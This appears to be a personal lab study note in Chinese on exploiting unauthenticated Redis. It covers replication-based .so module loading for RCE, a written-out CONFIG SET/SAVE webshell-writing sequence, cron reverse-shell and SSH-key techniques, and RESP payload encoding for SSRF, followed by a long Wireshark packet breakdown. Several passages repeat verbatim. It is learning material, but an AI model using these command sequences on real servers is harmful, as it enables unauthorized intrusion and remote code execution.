执行 MODULE LOAD /tmp/evil.so 的前提是:
目标服务器的 /tmp 目录下必须已经存在 evil.so 文件
但实际情况往往是:
- 你只有 Redis 的未授权访问权限
- 没有 SSH 等其它访问途径
- 无法直接上传文件到目标服务器
那么问题来了:.so 文件从哪里获取?
主从复制解决的核心问题: 主从复制的真正作用不是"执行命令",而是:
📦 将恶意 .so 文件传输到目标服务器
攻击流程的本质是:
- 在自己的服务器上准备好恶意 .so 文件
- 伪装成"主节点"
- 让目标 Redis 成为你的从节点
Redis 在进行数据同步时:
会自动将你准备好的 .so 文件同步到目标服务器 文件会被写入目标服务器的磁盘
这时你才能执行:
MODULE LOAD /路径/恶意.so
💥 真正的 RCE 攻击才得以实现
为什么在未授权的情况下还需要主从复制?
当前的疑问可能是:
既然已经有未授权访问,直接执行 MODULE LOAD /tmp/evil.so 不就可以了吗?
关键在于:
❗ Redis 只能加载"目标服务器上已存在"的 .so 文件
执行 MODULE LOAD /tmp/evil.so 的前提是:
目标服务器的 /tmp 目录下必须已经存在 evil.so 文件
但实际情况往往是:
- 你只有 Redis 的未授权访问权限
- 没有 SSH 等其它访问途径
- 无法直接上传文件到目标服务器
那么问题来了:.so 文件从哪里获取?
主从复制解决的核心问题: 主从复制的真正作用不是"执行命令",而是:
📦 将恶意 .so 文件传输到目标服务器
攻击流程的本质是:
- 在自己的服务器上准备好恶意 .so 文件
- 伪装成"主节点"
- 让目标 Redis 成为你的从节点
Redis 在进行数据同步时:
会自动将你准备好的 .so 文件同步到目标服务器 文件会被写入目标服务器的磁盘
这时你才能执行:
MODULE LOAD /路径/恶意.so
💥 真正的 RCE 攻击才得以实现
1️⃣ 为什么无法随意生成可用的 .so 文件?
Redis 未授权访问时常见的利用方式是:
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php ... ?>"
SAVE
这种操作被称为"写 WebShell"。
为什么这种方式能成功?
原因在于:
- RDB 文件本质是二进制文件
- 文件头部可以插入任意字符串
- PHP 解释器对文件格式非常宽容
- 只要包含
<?php标签就能正常执行
但 .so 文件则完全不同:
- .so 是 ELF 格式的二进制文件
- 具有严格的文件头结构
- 包含段表、符号表等必要信息
- 需要准确的重定位信息
任何细微的错误(哪怕多一个字节)都会导致:
dlopen()直接加载失败
Redis 写入文件时的限制:
- 强制使用 RDB 格式存储
- 自动添加文件头
- 包含校验信息
- 无法精确控制字节布局
因此无法通过以下方式生成有效的 .so 文件:
SET xxx <完整ELF二进制>
SAVE
1️⃣ 为什么无法随意生成可用的 .so 文件?
Redis 未授权访问时常见的利用方式是:
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php ... ?>"
SAVE
这种操作被称为"写 WebShell"。
为什么这种方式能成功?
原因在于:
- RDB 文件本质是二进制文件
- 文件头部可以插入任意字符串
- PHP 解释器对文件格式非常宽容
- 只要包含
<?php标签就能正常执行
但 .so 文件则完全不同:
- .so 是 ELF 格式的二进制文件
- 具有严格的文件头结构
- 包含段表、符号表等必要信息
- 需要准确的重定位信息
任何细微的错误(哪怕多一个字节)都会导致:
dlopen()直接加载失败
Redis 写入文件时的限制:
- 强制使用 RDB 格式存储
- 自动添加文件头
- 包含校验信息
- 无法精确控制字节布局
因此无法通过以下方式生成有效的 .so 文件:
SET xxx <完整ELF二进制>
SAVE
对,你之前看到的 Java 反序列化里的 .so 也有类似概念,但底层原理不太一样。我们仔细梳理一下 .so 到底是啥,以及它为什么能执行命令。
1️⃣ .so 的本质
.so 是 Shared Object(共享库),也就是 Linux/Unix 下的动态链接库。
-
类似 Windows 的
.dll -
本质就是 一段可执行机器码 + 数据 + 符号表
-
可以在运行时被动态加载(
dlopen()) -
可以导出函数供别的程序调用
也就是说:
它本身就是二进制程序,不是文本,也不是脚本,它就是编译好的 C/C++ 机器指令。
2️⃣ .so 文件和 C 代码的关系
你写的 C 代码:
int HelloCommand(...) {
printf("Hello\n");
return 0;
}
-
gcc -fPIC -shared -o panda.so module.c -
编译后生成
panda.so -
.so里包含的就是 CPU 可执行指令 -
Redis 通过
MODULE LOAD panda.so调用.so里的RedisModule_OnLoad()函数
所以:
.so= C 代码编译后的二进制,可以在运行时被加载并执行。
3️⃣ .so 能做什么?
理论上,C 代码能做的事,.so 都能做,包括:
-
执行 shell 命令:
system("/bin/sh") -
读写文件:
fopen(), write() -
网络请求:
socket(), connect() -
操作内存:任意指针访问
所以攻击链里:
-
先写出
.so(主从复制或其他方法) -
MODULE LOAD→ 调用.so -
.so里可以直接执行命令或打开反弹 shell
就是 RCE 的实现点。
4️⃣ 和 Java 反序列化的类比
Java 反序列化漏洞里,有些 payload 会触发:
-
加载本地
.so文件(JNI) -
或者写入本地动态库
-
调用
Runtime.exec()或者本地函数
本质是一样的:利用动态可执行代码的加载机制,执行攻击者的机器码。
区别在于:
| Java 反序列化 | Redis .so |
|---|---|
| JVM 解析对象流 | Redis 动态模块接口 |
| 可触发本地代码(JNI) | 直接就是本地 CPU 指令 |
| 需要绕过安全管理器 | 需要 MODULE LOAD 权限 |
💡 总结一句话:
.so就是 Linux 下的动态库,它本身就是机器码,C 代码只是源文件,编译成.so后加载就可以执行任意系统命令。
大概懂了,既然可以把c代码编译成.so后动态执行,那c代码可以执行什么,我就能控制它做什么,所以命令执行都是可以的
到这里终于把redis未授权搞完了,接下来是ssrf配合redis未授权。
先总结一下吧。redis未授权相当于任意路径写,然后利用就是写计划任务反弹shell,写ssh公钥免密登录,写webshell。
你的坑:
-
Kali/Debian 路径不同:
/var/spool/cron/crontabs/root而不是/var/spool/cron/root -
权限问题:Redis 不是 root 启动,写不了 cron 目录
-
格式损坏:RDB 文件头会污染 cron 文件,必须用
\n\n换行让 cron 从有效行开始解析
算了,本文章只是记录。以后复现记得看别人的环境,尽量不要下最新版。
redis 未授权也可以通过其他方式泄露密码或者爆破弱密码。
然后是了解ssrf配合redis未授权
这篇讲了resp
SSRF漏洞之Redis利用篇【三】 - FreeBuf网络安全行业门户
一、什么是 RESP 协议? RESP(Redis Serialization Protocol)是 Redis 专用的通信协议,用于客户端与服务器之间的数据传输。
当使用 redis-cli 执行命令时:
set a 1
实际传输的是经过 RESP 编码的格式,而非原始字符串。
二、RESP 协议格式详解 RESP 采用以下标准格式:
*参数数量
$参数长度
参数内容
以命令 SET 1 123 为例,其 RESP 编码为:
*3
$3
set
$1
1
$3
123
格式解析:
| 标记 | 含义 |
|---|---|
| *3 | 表示包含3个参数 |
| $3 | 第一个参数长度为3字节 |
| set | 参数内容 |
| $1 | 第二个参数长度为1字节 |
| 1 | 参数内容 |
| $3 | 第三个参数长度为3字节 |
| 123 | 参数内容 |
三、Payload 解析 分析首段内容:
*1
$8
flushall
这表示执行 flushall 命令,用于清空当前数据库所有数据。
一、什么是 RESP 协议? RESP(Redis Serialization Protocol)是 Redis 专用的通信协议,用于客户端与服务器之间的数据传输。
当使用 redis-cli 执行命令时:
set a 1
实际传输的是经过 RESP 编码的格式,而非原始字符串。
二、RESP 协议格式详解 RESP 采用以下标准格式:
*参数数量
$参数长度
参数内容
以命令 SET 1 123 为例,其 RESP 编码为:
*3
$3
set
$1
1
$3
123
格式解析:
| 标记 | 含义 |
|---|---|
| *3 | 表示包含3个参数 |
| $3 | 第一个参数长度为3字节 |
| set | 参数内容 |
| $1 | 第二个参数长度为1字节 |
| 1 | 参数内容 |
| $3 | 第三个参数长度为3字节 |
| 123 | 参数内容 |
三、Payload 解析 分析首段内容:
*1
$8
flushall
这表示执行 flushall 命令,用于清空当前数据库所有数据。
客户端与服务器之间的数据传输可能说的有点抽象,可以简单理解
背景知识:网络通信的本质
计算机之间通信就像两个人打电话,必须约定好"怎么说"才能互相理解:
| 类比 | 解释 |
|---|---|
| 人类语言 | 中文、英文(双方要统一) |
| 网络协议 | TCP/IP 负责"连上",应用层协议负责"说什么" |
| Redis的协议 | RESP(专门定义Redis客户端和服务端如何对话) |
关键点:Redis服务端一直在监听端口(默认6379),但它不知道来者是谁、要干什么。RESP就是双方约定的"暗号"格式。
然后你用redis-cli工具使用
假设你执行了:CONFIG GET dbfilename
实际传输的字节流:
*3\r\n ← 数组,3个元素(*开头)
$6\r\n ← 第1个元素长度6($开头)
CONFIG\r\n ← 内容:CONFIG
$3\r\n ← 第2个元素长度3
GET\r\n ← 内容:GET
$10\r\n ← 第3个元素长度10
dbfilename\r\n ← 内容:dbfilename
完全正确!*3\r\n 只是 TCP数据包里的"货物"(payload),不是TCP数据包本身。
一、形象比喻
TCP数据包 = 快递包裹
┌─────────────────────────────┐
│ 快递单(TCP头部) │ ← 20-60字节,记录收发地址、序列号等
│ - 发件人:192.168.1.100:45678 │
│ - 收件人:192.168.1.200:6379 │
│ - 包裹序号:第5个 │
│ - 是否保价:是(Checksum) │
├─────────────────────────────┤
│ 商品(TCP Payload/负载) │ ← 这才是 *3\r\n$6\r\nCONFIG...
│ *3\r\n$6\r\nCONFIG\r\n... │ 长度可变,几十到几千字节
└─────────────────────────────┘
只执行了config get dir,然后刷了这么多

1. 第三条报文是什么?
先看第三条的关键信息:
- Source:
192.168.176.135(Redis 服务器) - Destination:
192.168.176.128(你的客户端) - Protocol:
TCP - Info:
65568 → 6379 [ACK] Seq=35 Ack=44 Win=249 Len=0 ...
这是一条纯 TCP 确认报文(ACK),没有携带任何应用层数据(Len=0)。
它的作用是:
- 服务器(135)收到了客户端(128)之前发送的序列号为
44的数据(也就是第 2 条 RESP 响应)。 - 服务器通过这条 ACK 报文告诉客户端:“我已经收到你发的东西了,你可以继续发下一段数据了。”
2. 后面的 [TCP Keep-Alive] 是什么?
这些 Keep-Alive 报文,本质上也是 TCP 层的心跳包,用来确认连接是否还活着。
- Keep-Alive ACK(从服务器到客户端):
- 服务器定期发一个空包(
Len=0),检查客户端是否还在线。 - 客户端收到后,必须回一个 ACK 确认。
- 服务器定期发一个空包(
- Keep-Alive ACK(从客户端到服务器):
- 客户端也会定期发空包,检查服务器是否还在线。
在你的抓包里,这些 Keep-Alive 报文的特征是:
Len=0:没有携带任何数据。Seq和Ack号基本不变:只是在确认 “连接还在”,而不是在传输新数据。
3. 为什么没传数据了还一直刷?
这是因为你的 Redis 客户端和服务器之间的 TCP 连接还没有断开,双方都启用了 TCP Keep-Alive 机制:
- 保持连接存活:Redis 客户端(比如
redis-cli)默认会保持长连接,而不是用完就断。这样下次发命令时就不用重新建立连接,节省时间。 - 检测死连接:如果一方崩溃或网络中断,另一方不能无限期等待。Keep-Alive 机制就是用来定期 “ping” 一下,如果对方没回应,就会认为连接已死并主动断开。
- 你看到的现象:当你停止操作(没有新的 Redis 命令),应用层(RESP)就没有数据传输了。但 TCP 层为了维持这条长连接,会自动发送这些 Keep-Alive 心跳包,所以你会看到它们一直刷出来。
这是config get dir 的请求包

没错,Wireshark 的核心原理就是按照 OSI/网络分层模型逐层解析数据包。让我们分层来看:
数据链路层(Layer 2)
- 解析要素:MAC 地址、帧类型、CRC 校验码
- 示例:以太网帧包含源/目的 MAC 地址,以及标识上层协议的类型字段(如 IPv4、ARP)
网络层(Layer 3)
- 解析要素:IP 地址、协议类型(IPv4/IPv6/ICMP)
- 示例:IP 数据包包含源/目的 IP 地址、TTL 值,以及协议标识(TCP=6,UDP=17)
传输层(Layer 4)
- 解析要素:端口号(TCP/UDP)及控制信息(如 TCP 的 SYN/ACK/FIN 标志)
- 示例:TCP/UDP 段可识别应用协议类型(HTTP-80,DNS-53)
应用层(Layer 7)
- 解析内容:实际业务数据
- 示例:HTTP 请求方法、DNS 查询响应、SMTP 邮件内容等
- 功能:Wireshark 可完整解析协议细节,包括报文头、响应体甚至文件片段
综上,Wireshark 的解析流程遵循分层模型: 帧 → 数据包 → 段 → 应用数据 (链路层 → 网络层 → 传输层 → 应用层)
算了,这次就把wireshark的数据包都看一遍吧
噢,数据链路层就是看mac地址,网络层可以看ip,传输层看端口,应用层才看数据
这还是config get dir的请求包
Frame 5: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface eth0, id 0
Section number: 1
Interface id: 0 (eth0)
Interface name: eth0
Encapsulation type: Ethernet (1)
Arrival Time: Feb 26, 2026 14:47:37.098064469 CST
UTC Arrival Time: Feb 26, 2026 06:47:37.098064469 UTC
Epoch Arrival Time: 1772088457.098064469
[Time shift for this packet: 0.000000000 seconds]
[Time delta from previous captured frame: 2.545638788 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Time since reference or first frame: 2.659122071 seconds]
Frame Number: 5
Frame Length: 100 bytes (800 bits)
Capture Length: 100 bytes (800 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: eth:ethertype:ip:tcp:resp]
[Coloring Rule Name: TCP]
[Coloring Rule String: tcp]
Ethernet II, Src: VMware_d2:0a:20 (00:0c:29:d2:0a:20), Dst: VMware_1c:20:ae (00:0c:29:1c:20:ae)
Destination: VMware_1c:20:ae (00:0c:29:1c:20:ae)
Address: VMware_1c:20:ae (00:0c:29:1c:20:ae)
.... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Source: VMware_d2:0a:20 (00:0c:29:d2:0a:20)
Address: VMware_d2:0a:20 (00:0c:29:d2:0a:20)
.... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Type: IPv4 (0x0800)
Internet Protocol Version 4, Src: 192.168.176.128, Dst: 192.168.176.135
0100 .... = Version: 4
.... 0101 = Header Length: 20 bytes (5)
Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
0000 00.. = Differentiated Services Codepoint: Default (0)
.... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
Total Length: 86
Identification: 0xc66a (50794)
010. .... = Flags: 0x2, Don't fragment
...0 0000 0000 0000 = Fragment Offset: 0
Time to Live: 64
Protocol: TCP (6)
Header Checksum: 0x91de [validation disabled]
[Header checksum status: Unverified]
Source Address: 192.168.176.128
Destination Address: 192.168.176.135
Transmission Control Protocol, Src Port: 54598, Dst Port: 6379, Seq: 1, Ack: 1, Len: 34
Source Port: 54598
Destination Port: 6379
[Stream index: 0]
[Conversation completeness: Incomplete (12)]
..0. .... = RST: Absent
...0 .... = FIN: Absent
.... 1... = Data: Present
.... .1.. = ACK: Present
.... ..0. = SYN-ACK: Absent
.... ...0 = SYN: Absent
[Completeness Flags: ··DA··]
[TCP Segment Len: 34]
Sequence Number: 1 (relative sequence number)
Sequence Number (raw): 372651116
[Next Sequence Number: 35 (relative sequence number)]
Acknowledgment Number: 1 (relative ack number)
Acknowledgment number (raw): 367256931
1000 .... = Header Length: 32 bytes (8)
Flags: 0x018 (PSH, ACK)
000. .... .... = Reserved: Not set
...0 .... .... = Accurate ECN: Not set
.... 0... .... = Congestion Window Reduced: Not set
.... .0.. .... = ECN-Echo: Not set
.... ..0. .... = Urgent: Not set
.... ...1 .... = Acknowledgment: Set
.... .... 1... = Push: Set
.... .... .0.. = Reset: Not set
.... .... ..0. = Syn: Not set
.... .... ...0 = Fin: Not set
[TCP Flags: ·······AP···]
Window: 249
[Calculated window size: 249]
[Window size scaling factor: -1 (unknown)]
Checksum: 0xbdf2 [unverified]
[Checksum Status: Unverified]
Urgent Pointer: 0
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
TCP Option - No-Operation (NOP)
Kind: No-Operation (1)
TCP Option - No-Operation (NOP)
Kind: No-Operation (1)
TCP Option - Timestamps: TSval 4263709925, TSecr 14817730
Kind: Time Stamp Option (8)
Length: 10
Timestamp value: 4263709925
Timestamp echo reply: 14817730
[Timestamps]
[Time since first frame in this TCP stream: 0.000000000 seconds]
[Time since previous frame in this TCP stream: 0.000000000 seconds]
[SEQ/ACK analysis]
[Bytes in flight: 34]
[Bytes sent since last PSH flag: 34]
TCP payload (34 bytes)
REdis Serialization Protocol
Array: Length 3
Length: 3
Bulk String: config
Length: 6
Value: 636f6e666967
Bulk String: get
Length: 3
Value: 676574
Bulk String: dir
Length: 3
Value: 646972
单看frame
Frame 5: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface eth0, id 0
Section number: 1
Interface id: 0 (eth0)
Interface name: eth0
Encapsulation type: Ethernet (1)
Arrival Time: Feb 26, 2026 14:47:37.098064469 CST
UTC Arrival Time: Feb 26, 2026 06:47:37.098064469 UTC
Epoch Arrival Time: 1772088457.098064469
[Time shift for this packet: 0.000000000 seconds]
[Time delta from previous captured frame: 2.545638788 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Time since reference or first frame: 2.659122071 seconds]
Frame Number: 5
Frame Length: 100 bytes (800 bits)
Capture Length: 100 bytes (800 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: eth:ethertype:ip:tcp:resp]
[Coloring Rule Name: TCP]
[Coloring Rule String: tcp]
Frame(帧)是 Wireshark 里最顶层的概念,它代表整个网络数据包本身,是所有分层数据的 “容器”。
1. Frame 到底是什么?
你可以把它理解为:
- 这是整个数据包的 “总览”,包含了这个包在网络上传输时的所有信息。
- 它不是 OSI 七层模型里的一层,而是 Wireshark 为了方便分析,对整个数据包的一个封装。
在你截图的 Frame 5 里,Wireshark 显示了:
Frame 5: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface eth0, id 0
- 100 bytes on wire:这个包在网络上实际传输的总大小是 100 字节。
- 100 bytes captured:Wireshark 抓到并保存的大小也是 100 字节(没有截断)。
- interface eth0:抓包的网卡是 eth0。
- id 0:这是本次抓包会话中的第 5 个数据包(编号从 0 开始)。
2. Frame 和各层的关系
Frame 是 “容器”,里面依次包含了各层的头部和数据:
Frame 5 (总容器)
├── Ethernet II (数据链路层头部)
├── IP (网络层头部)
├── TCP (传输层头部)
└── RESP (应用层数据)
- 每一层都只关心自己的头部,然后把剩下的内容交给上一层处理。
- Frame 则把这一切打包在一起,让你能看到整个数据包的全貌。
3. 为什么 Frame 很重要?
- 定位问题:当你看到包的大小(bytes on wire)和预期不符时,可能是网络设备截断了数据包。
- 时间戳:Frame 里还包含了包被捕获的精确时间,这对于分析时序问题(比如延迟、重传)至关重要。
- 完整性:通过对比 “on wire” 和 “captured” 的大小,可以判断抓包是否完整。
简单总结一下:
- Frame = 整个数据包的 “总览” 和 “容器”。
- 下面的 Ethernet、IP、TCP、RESP 都是这个容器里的内容,按层次依次排列。
1️⃣ Frame 是啥?
Frame = 数据链路层的单位
-
它是网卡在网络上发送或接收的完整数据包。
-
它包含了:
-
链路层头(MAC 地址等)
-
上层数据(IP 包 / TCP 段 / 应用数据)
-
帧尾(比如 CRC 校验)
-
简单比喻:Frame 就像 信封,里面装着信件(IP/TCP/应用数据)。
Wireshark 抓到的每一个数据包,都会给一个 Frame 编号:
Frame 5: 100 bytes on wire (800 bits), 100 bytes captured (800 bits) on interface eth0, id 0
-
Frame 5 → 这是 Wireshark 捕获的第 5 个数据包
-
100 bytes on wire → 物理线上传输了 100 字节
-
100 bytes captured → Wireshark 实际抓取的长度也是 100 字节(可能被截断或限制)
-
interface eth0 → 通过哪个网卡抓到的
2️⃣ 细分 Frame 信息字段
Section number: 1
Interface id: 0 (eth0)
Interface name: eth0
Encapsulation type: Ethernet (1)
Arrival Time: Feb 26, 2026 14:47:37.098064469 CST
UTC Arrival Time: Feb 26, 2026 06:47:37.098064469 UTC
Epoch Arrival Time: 1772088457.098064469
[Time delta from previous captured frame: 2.545638788 seconds]
[Protocols in frame: eth:ethertype:ip:tcp:resp]
[Coloring Rule Name: TCP]
| 字段 | 含义 |
|---|---|
| Section number | Wireshark 内部分片序号,通常不重要 |
| Interface id / Interface name | 这个包是在哪个网卡上抓到的 |
| Encapsulation type | 链路层协议类型,这里是 Ethernet II(以太网) |
| Arrival Time | 捕获时间,CST / UTC / Epoch 都给了 |
| Time delta from previous frame | 跟上一个抓到的包间隔多少秒 |
| Protocols in frame | 包里涉及哪些协议层:eth → ethertype → ip → tcp → resp(Redis) |
| Coloring Rule | Wireshark 的显示颜色规则,这里标记 TCP |
3️⃣ Frame 的核心作用
-
表示一个完整的包,包含链路层到应用层的所有内容
-
Wireshark 就是从这个 Frame 开始,一层层解析:
-
链路层(Ethernet)
-
网络层(IP)
-
传输层(TCP/UDP)
-
应用层(Redis / HTTP / DNS 等)
-
🔹重点:Frame 不是应用数据,只是封装了这些数据的“外壳”,让网络设备能正确发送和接收。
💡 小结类比:
-
Frame = 信封(谁寄给谁,大小多少)
-
IP 包 = 信纸(收件人地址,信件分段)
-
TCP 段 = 信的每页(顺序、确认信息)
-
应用数据 = 信的正文(真正的命令/消息)
Ethernet II, Src: VMware_d2:0a:20 (00:0c:29:d2:0a:20), Dst: VMware_1c:20:ae (00:0c:29:1c:20:ae)
Destination: VMware_1c:20:ae (00:0c:29:1c:20:ae)
Address: VMware_1c:20:ae (00:0c:29:1c:20:ae)
.... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Source: VMware_d2:0a:20 (00:0c:29:d2:0a:20)
Address: VMware_d2:0a:20 (00:0c:29:d2:0a:20)
.... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Type: IPv4 (0x0800)
1️⃣ Ethernet II 基本结构
一个典型的以太网帧包含:
| 字段 | 长度 | 作用 |
|---|---|---|
| Destination MAC | 6 字节 | 帧接收方的物理地址 |
| Source MAC | 6 字节 | 帧发送方的物理地址 |
| Type | 2 字节 | 上层协议类型(IPv4、IPv6、ARP 等) |
| Payload | 46–1500 字节 | 传输的数据(IP 包 / TCP 段 / 应用数据) |
| FCS(CRC) | 4 字节 | 帧校验码,用于检测错误 |
2️⃣ 你抓包里的信息
Destination: VMware_1c:20:ae (00:0c:29:1c:20:ae)
Source: VMware_d2:0a:20 (00:0c:29:d2:0a:20)
Type: IPv4 (0x0800)
-
Destination MAC
-
00:0c:29:1c:20:ae→ 帧的接收方 -
Wireshark 还显示了 LG / IG 位:
-
LG = 0 → 全球唯一地址(厂商分配)
-
IG = 0 → 单播地址(unicast,发给单个主机)
-
-
-
Source MAC
-
00:0c:29:d2:0a:20→ 发送方 -
同样是全球唯一、单播地址
-
-
Type
-
0x0800→ 上层是 IPv4 -
如果是
0x0806→ ARP;0x86DD→ IPv6
-
3️⃣ 小结
在这一层:
-
MAC 地址决定谁能收到帧
-
只有目标 MAC 的网卡会处理这帧,其它主机忽略。
-
-
Type 字段告诉网卡上层该如何解析 Payload
-
Wireshark 看到
0x0800就把接下来的数据交给 IP 层解析。
-
🔹Tip:链路层是局域网内部通信的地址机制,你看不到应用命令,它只管“送到哪台机器”。
Internet Protocol Version 4, Src: 192.168.176.128, Dst: 192.168.176.135
0100 .... = Version: 4
.... 0101 = Header Length: 20 bytes (5)
Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
0000 00.. = Differentiated Services Codepoint: Default (0)
.... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
Total Length: 86
Identification: 0xc66a (50794)
010. .... = Flags: 0x2, Don't fragment
0... .... = Reserved bit: Not set
.1.. .... = Don't fragment: Set
..0. .... = More fragments: Not set
...0 0000 0000 0000 = Fragment Offset: 0
Time to Live: 64
Protocol: TCP (6)
Header Checksum: 0x91de [validation disabled]
[Header checksum status: Unverified]
Source Address: 192.168.176.128
Destination Address: 192.168.176.135
1️⃣ IPv4 版本与头长度
0100 .... = Version: 4
.... 0101 = Header Length: 20 bytes (5)
-
Version = 4 → IPv4 协议
-
Header Length = 5 × 4 bytes = 20 bytes → IP 头部长度(不含上层数据)
-
如果有选项(Options),这个值会更大
-
IPv4 的头固定最小 20 bytes,最大 60 bytes。
2️⃣ 服务类型(DSCP / ECN)
Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
-
DSCP (Differentiated Services Code Point) = 0 → 默认服务
-
ECN (Explicit Congestion Notification) = 0 → 不支持显式拥塞通知
主要用于路由器 QoS 或拥塞控制,普通抓包分析一般不常用。
3️⃣ 总长度
Total Length: 86
-
IPv4 总长度 = IP 头 + 上层数据(TCP/UDP payload)
-
这里 86 bytes → IP 头 20 bytes + TCP 段 66 bytes(估算)
4️⃣ 标识符和分片信息
Identification: 0xc66a (50794)
010. .... = Flags: 0x2, Don't fragment
0... .... = Reserved bit: Not set
.1.. .... = Don't fragment: Set
..0. .... = More fragments: Not set
...0 0000 0000 0000 = Fragment Offset: 0
-
Identification → 50794,用于分片重组
-
Flags:
-
Reserved bit = 0
-
Don't fragment (DF) = 1 → 不能分片
-
More fragments = 0 → 这是最后/唯一的片段
-
-
Fragment Offset = 0 → 当前片段的偏移量
⚡ 解释:如果包太大,路由器可能分片。DF=1 表示路由器不能分片,否则丢弃。Fragment Offset 说明这是第几个片段。
5️⃣ TTL(生存时间)
Time to Live: 64
-
每经过一个路由器,TTL -1
-
TTL=0 时,包被丢弃,防止数据包在网络环路无限循环
6️⃣ 协议类型
Protocol: TCP (6)
-
告诉 IP 层的 Payload 上层协议是什么
-
6 = TCP
-
17 = UDP
-
1 = ICMP
-
TCP / UDP / ICMP 都是在 IP 之上的传输层协议。
7️⃣ 校验和
Header Checksum: 0x91de [validation disabled]
-
用于检测 IP 头在传输中是否损坏
-
Wireshark 默认未校验(可能网卡硬件已校验)
8️⃣ 源地址 & 目标地址
Source Address: 192.168.176.128
Destination Address: 192.168.176.135
-
IP 层最关键字段 → 确定源主机和目的主机
-
对应传输层(TCP/UDP)的端口,才能最终找到目标应用
✅ 小结
IPv4 层主要作用:
-
定位源和目标主机 → Src/Dst IP
-
控制生存周期 → TTL
-
指定上层协议 → TCP/UDP/ICMP
-
提供分片信息 → Identification / Flags / Fragment Offset
-
校验头完整性 → Header Checksum
⚡ 总结:IP 层就像“信封里的地址页”,Frame 决定哪台机器收到,IP 决定在那台机器内部把包送到哪个目标逻辑地址。
1️⃣ 原始数据 vs Wireshark 显示
你看到的:
0100 .... = Version: 4
-
0100 .... 是 IP 头的前 1 个字节(二进制)
-
IPv4 头第一个字节:高 4 位 = Version,低 4 位 = IHL (Internet Header Length)
-
-
0100 → 高 4 位
0100就是 Version = 4(IPv4) -
后面 .... → 低 4 位是 IHL,Wireshark 在这里单独分开显示下一行:
.... 0101 = Header Length: 20 bytes (5)
-
0101 → 4 位二进制 = 5 → 乘以 4 bytes = 20 bytes IP 头长度
所以 真实的二进制就是 01000101(高 4 位 Version,低 4 位 IHL),Wireshark 把它拆开显示,方便理解。
2️⃣ Wireshark 显示格式
Wireshark 的做法是:
-
显示二进制字段(0100 0101)
-
标注每一部分的含义:
-
高 4 位 → Version
-
低 4 位 → Header Length
-
-
给出人类可读解释 → Version: 4, Header Length: 20 bytes
所以你看到的:
0100 .... = Version: 4
.... 0101 = Header Length: 20 bytes (5)
-
0100 → 原始二进制的高 4 位
-
.... → Wireshark 用占位符表示低 4 位,下一行解析
-
Version: 4 → Wireshark 的解读,不是原始数据本身
3️⃣ 真实二进制示例
如果你用 hexdump 或抓包原始文件:
45 00 00 56 ...
-
45→ 8 位二进制 =01000101-
高 4 位 0100 → Version 4
-
低 4 位 0101 → IHL = 5 (20 bytes)
-
✅ 总结:Wireshark 的提示只是把真实二进制拆开解释了,0100 是真实数据的高 4 位
Transmission Control Protocol, Src Port: 54598, Dst Port: 6379, Seq: 1, Ack: 1, Len: 34
Source Port: 54598
Destination Port: 6379
[Stream index: 0]
[Conversation completeness: Incomplete (12)]
..0. .... = RST: Absent
...0 .... = FIN: Absent
.... 1... = Data: Present
.... .1.. = ACK: Present
.... ..0. = SYN-ACK: Absent
.... ...0 = SYN: Absent
[Completeness Flags: ··DA··]
[TCP Segment Len: 34]
Sequence Number: 1 (relative sequence number)
Sequence Number (raw): 372651116
[Next Sequence Number: 35 (relative sequence number)]
Acknowledgment Number: 1 (relative ack number)
Acknowledgment number (raw): 367256931
1000 .... = Header Length: 32 bytes (8)
Flags: 0x018 (PSH, ACK)
000. .... .... = Reserved: Not set
...0 .... .... = Accurate ECN: Not set
.... 0... .... = Congestion Window Reduced: Not set
.... .0.. .... = ECN-Echo: Not set
.... ..0. .... = Urgent: Not set
.... ...1 .... = Acknowledgment: Set
.... .... 1... = Push: Set
.... .... .0.. = Reset: Not set
.... .... ..0. = Syn: Not set
.... .... ...0 = Fin: Not set
[TCP Flags: ·······AP···]
Window: 249
[Calculated window size: 249]
[Window size scaling factor: -1 (unknown)]
Checksum: 0xbdf2 [unverified]
[Checksum Status: Unverified]
Urgent Pointer: 0
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
TCP Option - No-Operation (NOP)
Kind: No-Operation (1)
TCP Option - No-Operation (NOP)
Kind: No-Operation (1)
TCP Option - Timestamps: TSval 4263709925, TSecr 14817730
Kind: Time Stamp Option (8)
Length: 10
Timestamp value: 4263709925
Timestamp echo reply: 14817730
[Timestamps]
[Time since first frame in this TCP stream: 0.000000000 seconds]
[Time since previous frame in this TCP stream: 0.000000000 seconds]
[SEQ/ACK analysis]
[Bytes in flight: 34]
[Bytes sent since last PSH flag: 34]
TCP payload (34 bytes)
1️⃣ 端口号(端点标识)
Src Port: 54598
Dst Port: 6379
-
Src Port = 54598 → 客户端随机端口
-
Dst Port = 6379 → Redis 服务端口(默认端口)
-
端口号决定 哪一个应用程序 在发送/接收数据
-
IP 层只到主机
-
TCP 层到具体程序
-
🔹 类比:IP 是信封上写的收件人地址,TCP 端口是信封里信纸上的“部门 / 柜台”。
2️⃣ TCP 标志(Flags)
Flags: 0x018 (PSH, ACK)
详细拆解:
| 标志位 | 值 | 意义 |
|---|---|---|
| URG | 0 | 无紧急数据 |
| ACK | 1 | 确认号有效(确认对方数据已收到) |
| PSH | 1 | Push → 立即把数据交给应用程序 |
